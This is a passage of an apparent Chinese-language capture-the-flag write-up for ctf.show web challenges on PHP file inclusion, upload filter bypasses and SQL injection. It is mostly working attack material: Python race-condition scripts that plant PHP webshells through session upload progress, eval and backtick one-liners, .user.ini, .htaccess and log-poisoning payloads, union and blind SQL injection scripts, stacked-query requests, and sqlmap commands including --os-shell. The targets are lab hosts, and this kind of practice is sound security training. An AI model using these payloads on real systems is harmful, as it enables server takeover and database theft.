fromdata={"show":"<?php eval($_GET['S']);?>"}
response = requests.post(url=url,data=fromdata)
print(response.status_code)
def read():
global flag
while 1:
#cmd = "system('ls /')"
url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/4.php?S=system('tac /ctfshow_fl0g_here.txt');"
response = requests.get(url=url)
if response.status_code == 200:
print(response.text)
flag = 0;
break;
# threads = []
# t1 = threading.Thread(target=write)
# t2 = threading.Thread(target=read)
# threads.append(t1)
# threads.append(t2)
if __name__ == '__main__':
for i in range(10):
t1 = threading.Thread(target=write)
t1.setDaemon(True)
t1.start()
for i in range(10):
t2 = threading.Thread(target=read)
t2.setDaemon(True)
t2.start()
# for t in threads:
# t.join()
while flag:
time.sleep(0.01)
web150
1 | include("flag.php"); |
使用日志包含
1 | POST /?isVIP=1 |
web150plus
- 方法一:autoload()
这个题一点点小坑__autoload()函数不是类里面的__
__autoload() //在代码中当调用不存在的类时会自动调用该方法。
class_exists也能触发,不过在于怎么给$__CTFSHOW__
赋值,因为下划线被过滤了,只要能绕过下划线就可以了
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
方法二:条件竞争
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
这个包含漏洞在php5.4之后可以使用
因为在php5.4之后php.ini开始有了几个session的默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件因为session.use_strict_mode=off所以session的文件名我们是可控的,比如添加一个Cookie:PHPSESSID=flag,PHP将会在服务器上创建一个文件sess_flag,还有session.upload_progress.cleanup = on默认开启所以在我们传入一句话木马就会被立即删除,所以我们要用条件竞争来进行包含写个脚本跑一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37import io
import requests
import threading
url = 'http://de6906e6-f354-48f4-960d-5a479b6ec627.challenge.ctf.show:8080/'
def write(session):
'''利用PHP_SESSION_UPLOAD_PROGRESS将木马写入session。在session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下上传文件就会把这次上传的信息存储在/tmp/sess_flag中'''
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>'
}
while True:
'''创建一个文件用来上传进行条件竞争'''
f = io.BytesIO(b'a' * 1024 * 10)
'''以session的方式post上传PHPSESSID和要执行的语句'''
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
data = {
'''这里猜测session文件在tmp目录下'''
'ctf':'/tmp/sess_flag'
}
while True:
'''获取文件包含过后的返回数据'''
response = session.post(url+'?isVIP=1',data=data)
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
'''实例化下session'''
session = requests.session()
'''创建多个线程,一个thread对象代表一个线程'''
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
文件上传
标签
有时候会屏蔽php的标签
我们可以用短标签
1
2
3
4
5
6
7
8
>echo '123'; //short_open_tags=on
>echo (表达式) //无限制 (表达式) 等价于
><% echo '123';%> //asp_tags=on php_version < 7
><script language="php">echo '123'; </script> //php_vsesion < 7
web153
- 使用ini绕过,先抓包修改上传ini文件
1 | POST /upload.php |
然后上传png,如果没文件头检测,就直接传png里面一句话代码,否则要随便截个图,然后代码放最后。
1 | POST /upload.php HTTP/1.1 |
web156
[]可以用{}来绕过,
1 | eval($_POST{1}); |
web157
经过测试发现过滤掉了大括号{},[],;
所以可以说这样基本把马给锁死了,但是我们可以任意执行php,就用系统命令查看一下,直接找到flag文件
web 159
本题过滤掉了
php
{}
[]
;
()
所以就无法调用所有的函数了,但是能利用php特性,命令执行可以用``(反引号包涵)
=`nl ../fl*`?>
web 160
与上题相比,这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法,考虑到日志包含。
首先上传.user.ini
1 | auto_append_file=/var/www/html/upload/1.png |
nginx的日志文件在/var/log/nginx/access.log里头,先看看日志文件有什么,这里上传内容为
1 | // 绕过检查 |
UA改为
1 | <?php @eval($_POST['x']);?> |
web162
大致思路和上题类似,不过在上传.user.ini的时候发现.
被过滤了,可以把包含的文件不带后缀来绕过
包含文件法
- .user.ini
1 | GIF89a |
- png
- 取反脚本
包含session,条件竞争
1 | import requests |
web 164
1 |
|
然后通过bp去访问图片
1 | POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system |
web 165
- 大神的脚本
1 |
|
先随便截个图然后上传到服务器后下载下来。
将下载下来的图片放到脚本目录下,运行` php jpg_payload.php download.jpg
使用蚁剑链接或者使用bp
1 | POST /download.php?image=8ef28ae0fc43a1cb9d73b76784b5fd02.jpg |
web166
如果上传不了,把Content-Type设置一下Content-Type: application/x-zip-compressed
web167
- 考点:Apache的包含解析
上传.htaccess
文件:
1 | SetHandler application/x-httpd-php .jpg |
web 168
使用``绕过
- 上传png图片,通过bp将后缀改成
1.php
,然后结尾加上<?=`tac ../f*`?>
- 访问xxx/upload/1.php即可
上传php文件即可
1 |
|
web169
查看前端源代码,这道题前端让我们传zip,然后在bp里面改成image/png因为后端只接受png图片,然后和前面ua绕过的方式一样,通过.user.ini
文件包含日志文件,然后访问/upload/路径,但是发现404.
1 | POST /upload.php |
因此我们需要上传一个index.php文件,内容谁便填写即可。
1 | POST /upload.php |
SQL 注入
知识点
%23
相当于 # 可以注释后面的语句,同理--+
也代表注释
sqlmap
1 | url = 'http://789aa550-e618-4859-a737-146010bc76ee.challenge.ctf.show/' |
web171
查询语句如下:
1 | //拼接sql语句查找指定ID用户 |
查数据库名:
- -1 是为了查询不在表中的数据,使得只显示我们需要的数据
1 | -1'union select 1,2,database() --+ |
查表名:
1 | -1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+ |
查列名:
1 | -1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user" --+ |
爆字段:
1 | -1'union select id,username,password from ctfshow_user --+ |
web172
用户名是flag则不给输出
方法一:直接使用其他字段代替username
1
2
3-1' union select 1,password from ctfshow_user2 where username ='flag'%23
-1' union select 1,password from ctfshow_user2 where username ='flag'--+
-1' union select 1,password from ctfshow_user2 where username ='flag方法二:使用to_base64、hex等等方法加密username
1
-1' union select to_base64(username),password from ctfshow_user2 --+
web174
方法一:替换
返回逻辑判断了不能包含数字和flag,因此我们可以先base64编码,再对数字进行替换。
1
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' --+
然后对爆出的字符串反向替换以下就行了:
1
2
3
4
5import base64
flagstr="YnumCRmcnumBhvdnumCsnumCOTknumEMDdkNynumAhMWIxLTRiYzQtOTEnumJYinumJnumCMWJiZTBlNjFhZTRnumI"
flag=flagstr.replace('numA','1').replace('numB','2').replace('numC','3').replace('numD','4').replace('numE','5').replace('numF','6').replace('numG','7').replace('numH','8').replace('numI','9').replace('numJ','0')
print(base64.b64decode(flag))或者用其他符号代替
1
2replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
# "a1b2c3d4e5" => "a!b@c3d4e5"方法二:盲注
flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。代码中使用注释“/**/”将空格替换掉,以避免URL编码可能导致的问题。
布尔盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import requests
import string
url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"
uuid=string.ascii_lowercase+"-}{"+string.digits
flag=""
for i in range(1,46):
for j in uuid:
payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
res = requests.get(url+payload)
print(j)
if "admin" in res.text:
flag += j
print("flag=",flag)
break
else:
passtrim盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21# @Author:Kradress
import requests
import string
url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"
uuid=string.ascii_lowercase+"-}{"+string.digits
flag="ctfshow{"
for i in range(1,46):
for j in uuid:
payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
res = requests.get(url+payload)
print(j)
if "admin" not in res.text:
flag += j
print("flag=",flag)
break
else:
pass
web175
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret)))
\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f] 匹配ASCII值从0-127的字符
所以ASCII值得0-127都被过滤了,select没法用了。
方法一:写文件
1
' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
然后访问1.txt可以获得flag
方法二:写shell
1
-1' union select 1,'<?=eval($_POST[1])?>' into outfile '/var/www/html/1.php' --+
然后使用蚁剑连接,连不上就重新试一下,发现
/var/www/html/api/config.php
中有配置文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-01 14:21:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-01 19:29:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow_web";
$charName = "utf-8";通过蚁剑连接数据库
方法三:时间盲注
1' and sleep(6)--+
试一下,发现有延迟,可以考虑时间盲注。发现确实有延迟,所以可以考虑时间盲注。
时间盲注:
通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分,and的判断中,前半部分就已经出错了。
利用脚本来获取flag。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36# -*- coding: utf-8 -*-
"""
@Author disda
@Date 2023/5/24 16:46
@Describe
@Dependency
@Version 1.0
"""
import requests
from time import time
url = 'http://74c7c36e-f70f-4d72-b9a8-1c4ca45b3b35.challenge.ctf.show/api/v5.php'
flag = ''
for i in range(1, 100):
length = len(flag)
min = 32
max = 128
while True:
j = min + (max - min) // 2
if min == j:
flag += chr(j)
print(flag)
break
payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -" % (i, j)
start_time = time()
r = requests.get(url=url + payload).text
end_time = time()
# print(r)
if end_time - start_time > 0.48:
max = j
else:
min = j
web176
知道有过滤,但不知道过滤的是谁,所以需要尝试一下。
首先传入1’--+
,有回显。
传入1’ --+
,有回显,空格没被过滤。
传入1' union select database(),2,3 --+
显示不出数据库,猜测有的字母被过滤,都试了一下,于是发现当传入1' union Select database(),2,3 --+
说明是select被过滤,但大小写可绕过,所以直接传入-1' union Select password,2,3 from ctfshow_user --+
得到flag。
web177
尝试了三个
1 | 1’--+ |
确定了过滤了空格和–+,可以用%0a和%23代替。
- 万能密码:
1'%0aor%0a1=1%23
常规解法
全显示
-1'union%0aselect%0apassword,1,2%0afrom%0actfshow_user%23
只答案
-1'union%0aselect%0aid,username,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23
1 | # 爆数据库 |
web179
发现这次是%0a被过滤了,可以用%0c替代%0a。
web180
传入1’%23,发现%23被过滤了。
后边没办法注释了,还可以用’1’=’1来闭合后边。
1 | 'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1 |
还可以用
1 | 'or(id=26)and'1'='1 |
传进去后变成了
1 | where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;"; |
因为and的优先级大于or所以相当于
1 | where (username !='flag' and id = '') or (id=26and'1'='1') |
or左边为0右边为1,where的条件为1,而且flag刚好在id=26。
或者
1 | -1'or(username=concat('fl','ag'))and'a'='a |
web183
只能盲注了,利用%在sql中通配多个字符,利用_通配任意一个字符。
成功后会发现发现返回结果 $user_count=1代表匹配到了一个,利用此模式盲注。
1 | import requests |
web184
1 | # -*- coding: utf-8 -*- |
使用like来爆破
web185
mysql中的利用字符组合成的数字:
1 | # -*- coding: utf-8 -*- |
web187
md5($pass,true)绕过
md5(string,raw)其中raw参数可选,且有两种选择
FALSE:32位16进制的字符串
TRUE:16位原始二进制格式的字符串
当有true这个参数,会以二进制的形式输出16个字符。返回的这个原始二进制不是普通的0 1二进制。
再看下一个知识点
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
因此我们构造一个pass使得md5后是‘xxx’ or 数字开头
,发现ffifdyop
可以达到此效果
web 188
mysql中字母与数字的比较过程:
你可以尝试一下在数据库中使用这样的语句:
select * from stu where name=0很有可能是能查询出东西的,即使你没有name为0的数据
这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功
web189
1 | # -*- coding: utf-8 -*- |
web190
时间盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40# @Author:Kradress
import requests
url = "http://cd828d70-8321-49a4-b845-f407fa23f67f.challenge.ctf.show/api/"
result = ''
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
#爆字段值
payload = "select f1ag from `ctfshow_fl0g`"
for i in range(1,50):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
# print(mid)
data = {
'username' : f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
'password' : 0
}
try:
r = requests.post(url, data, timeout=0.8)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break脚本跑出来可能会错,要多跑几次对比一下
web191
把上题的ascii换成ord
web192
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40# -*- coding: utf-8 -*-
"""
@Author disda
@Date 2023/5/26 09:51
@Describe
@Dependency
@Version 1.0
"""
# @Author:Kradress
import requests
import string
url = "http://2296ab53-69f2-42c9-844d-28848bc82366.challenge.ctf.show/api/"
result = ''
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
# 爆字段值
payload = "select f1ag from `ctfshow_fl0g`"
uuid = string.ascii_lowercase + string.digits + "{-_}"
for i in range(1, 50):
for char in uuid:
data = {
'username': f"admin' and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#",
'password': 0
}
try:
r = requests.post(url, data, timeout=0.8)
except:
result += char # sleep导致超时
print(result)
break
if char == '}':
break
web193
strsub不给用了,mid、leift、right都可以
right
从右边开始截取,配合ascii使用.
ascii(‘str’)返回字符串的第一个字符的ascii码
ascii(right(‘abc’,2))= 97相当于 ascii(‘bc’)=97
left
从左边开始截取,用reverse反转
ascii(reverse(left(‘abc’,2))) = 97 相当于 ascii(‘bc’)=97
mid和strsub效果一样,代码同上
直接猜
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39# -*- coding: utf-8 -*-
"""
@Author disda
@Date 2023/5/26 10:11
@Describe
@Dependency
@Version 1.0
"""
import requests
import sys
url = 'http://741281c8-2d94-48a5-9828-84f8186ae64d.challenge.ctf.show/api/'
flag = ''
# like的话,下划线放最后,因为相当于是匹配任意字符
letter = '0123456789abcdefghijklmnopqrstuvwxyz-,{}_'
for i in range(100):
for j in letter:
# 爆库名
# payload = "' or if((select group_concat(database())) like '{}',1,0) ='1".format(flag + j + "%")
# 爆表名
# payload = "' or if((select group_concat(table_name) from information_schema.tables where(table_schema=database()) ) like '{}',1,0) ='1".format(flag+j+"%")
# 爆字段名
# payload = "' or if((select group_concat(column_name) from information_schema.columns where(table_name='ctfshow_flxg') ) like '{}',1,0) ='1".format(flag + j + "%")
# 爆字段
payload = "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
data={
'username':payload,
'password':1
}
res = requests.post(url=url,data=data)
if "密码错误" == res.json()['msg']:
flag += j
print(flag)
break
if "}" in flag:
sys.exit()
web195
1 | //拼接sql语句查找指定ID用户 |
使用update语句登录,将admin使用hex编码(
$username
没有被单引号包裹)1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /api/
Host: 33f6e930-7cb7-4763-92c1-0b8bcfd8e6d7.challenge.ctf.show
Content-Length: 68
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://33f6e930-7cb7-4763-92c1-0b8bcfd8e6d7.challenge.ctf.show
Referer: http://33f6e930-7cb7-4763-92c1-0b8bcfd8e6d7.challenge.ctf.show/select-stacked.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=0x61646d696e;update`ctfshow_user`set`pass`=123&password=123
web196
堆叠注入
顾名思义,堆叠注入就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。
第一个返回空,第二个返回1,密码也是1,逻辑成立
1 | if($row[0]==$password){ |
1 | POST /api/ |
web197
插入数据
1 | 0;insert ctfshow_user(`username`,`pass`) value(0,0); |
web198
1 | 0;show tables; |
web 201
开始使用sqlmap
根据提示,加上refer
1 | python sqlmap.py -u ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/api/?id=1 --refer=http://ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/sqlmap.php --tables |
web202
- Sqlmap post用法
1 | python sqlmap.py -u http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/api/?id=1 --data="id=1" --refer=http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/sqlmap.php --dbs |
web203
记得要加上–headers=”Content-Type: text/plain” 不然data是以表单形式发送
1 | python sqlmap.py -u http://4bed30ca-53ef-4c44-a5e1-91eeaf63d4c0.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dump |
web 204
1 | python sqlmap.py http://617aeb7f-5ecd-44a3-9040-2a7a39def7f5.challenge.ctf.show/api/index.php --method="PUT" --data="id=1" --refer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=p9mkuj9vngdtei0cd6efjce6pn; ctfshow=eb51da0e22ab707da3add55108b2d346" -T ctfshow_user -C pass --dump |
web 205
抓包发现先访问/api/getToken.php
页面,验证PHPSESSID后才能通过,去访问/api/
1 | 1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。 |
1 | python sqlmap.py -u http://9982c70a-d4b0-45f1-b247-871e538c14b0.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --safe-url=9982c70a-d4b0-45f1-b247-871e538c14b0.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flax --columns -C flagx --dump |
web206
可以提高level等级,提高level就会执行更多的payload,同时执行速度也会变慢(这题其实不需要)
1 | --level=LEVEL 设置测试等级(1-5,默认为 1) |
1 | python sqlmap.py -u http://e1e4b812-10a3-4fdf-991a-405337841416.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --safe-url=http://e1e4b812-10a3-4fdf-991a-405337841416.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxc -C flagv --dump --level=3 |
web207
过滤了空格,可以用--tamper
来修改注入的数据
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释
1 | python sqlmap.py -u http://04a724c7-1a0c-4124-b6f5-99d2ed8f4899.challenge.ctf.show/api/index.php --safe-url=http://04a724c7-1a0c-4124-b6f5-99d2ed8f4899.challenge.ctf.show/api/getToken.php --safe-freq=1 -method=PUT --headers="Content-Type: text/plain" --data="id=1" --dbms=mysql --current-db --tables -T ctfshow_flaxca --columns -C flagvc --dump --level=3 --tamper=space2comment |
web 207
1 | python sqlmap.py -u "http://103309c4-1619-45a2-84ec-56b906282010.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1vrv4fg7q4uid8i1lhma043h20" --safe-url="http://103309c4-1619-45a2-84ec-56b906282010.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump |
Web209
1 | # -*- coding: utf-8 -*- |
1 | python sqlmap.py -u "http://0407dae4-c9af-4418-8e92-bb043a3f33d8.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://0407dae4-c9af-4418-8e92-bb043a3f33d8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web209.py -T ctfshow_flav -C ctfshow_flagx --dump |
web210
返回逻辑
1 | //对查询字符进行解密 |
反向操作即可
1 | from lib.core.compat import xrange |
1 | python sqlmap.py -u "http://3b91408c-21f5-4fb0-9cf4-73438accb280.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://3b91408c-21f5-4fb0-9cf4-73438accb280.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web210.py -T ctfshow_flavi -C ctfshow_flagxx --dump |
Web212
1 | from lib.core.enums import PRIORITY |
web213
- 题目提示os-shell
1 | python sqlmap.py -u "http://4ee86282-6952-4b4f-a276-f268fe18746a.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://4ee86282-6952-4b4f-a276-f268fe18746a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web210.py --os-shell --batch |
web214
时间盲注,写脚本
1 | # @Author:Kradress |
web 215
从数字类型的参数变成字符串类型参数
1
"' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#"
web 216
闭合
)
即可1
"1) or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#"
web 217
benchmark
benchmark #可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。
1 | select benchmark(1e7,sha1('kradress')); # 2.24s |
笛卡尔积
这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用
1 | -- 可以代替sleep |
正则表达式
正侧匹配在匹配较长字符串但自由度比较高的字符串时会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时
1 | SELECT if(1=1,(select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')),0) |
我们通过benchmark来实现sleep的平替,mysql中true为1,false为0,我们可以乘一个大数来进行benchmark
1 | # -*- coding: utf-8 -*- |
web218
这道题ban了sleep
和benchmark
我们使用笛卡尔积平替
1 | # @Author:Kradress |
web220
ascii可以用ord同名函数替换,substr可以用right替换
1 | # @Author:Kradress |
得到答案}2c15ff03675d-2cc9-fd04-a628-8c62925d{wohsftc
需要reverse一下。
web221
1 | procedure analyse(extractvalue(rand(),concat(0x3a,database())),1) |
web222
group注入 我们可以进行延时盲注也可以进行布尔盲注
我这里用延时盲注
例如
1 | group by if(1=1,sleep(1),1) |
但要注意的是,group by会向下一直查询,数据库里总共有21条数据,如果我们是sleep(1)则是停顿21秒
1 | # -*- coding: utf-8 -*- |
web223
numToStr 函数是一个辅助函数,用于将一个字符串转换为 SQL 查询语句中的表达式。
该函数的基本思想是将每个字符转换为 true 值的列表,这个列表的长度为该字符的 ASCII 码值。然后将这个 true 值的列表作为参数传递给 char() 函数,该函数会将 true 值转换为对应的 ASCII 字符。
例如,如果输入字符串是 “a”,则 numToStr(“a”) 的结果是 “char(true,true,…true)”,其中 true 的数量为 ASCII 码值 “a” 的值。在这个例子中,ASCII 码值 “a” 的值为 97,因此列表中有 97 个 true 值。
这种方法的优点是可以避免使用字符串拼接,这在某些情况下可以提高查询性能。此外,使用 true 值的列表也避免了字符串转义的问题。
总的来说,numToStr 函数提供了一个简单而有效的方法,用于将字符串转换为 SQL 查询语句中的表达式。
1 | # -*- coding: utf-8 -*- |
web225
1 | ?username=';show tables;%23 |
1 | GET /api/?username=';show%20tables;--+ HTTP/1.1 |
web226
预编译
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)
1 | 'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i) |
1 | # show tables |
1 | GET /api/?username=';Prepare%20stmt%20from%200x73686F77207461626C6573;EXECUTE%20stmt; |
1 | GET /api/?username=';Prepare%20stmt%20from%200x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE%20stmt; |
web227
1 | # SELECT * FROM information_schema.Routines |
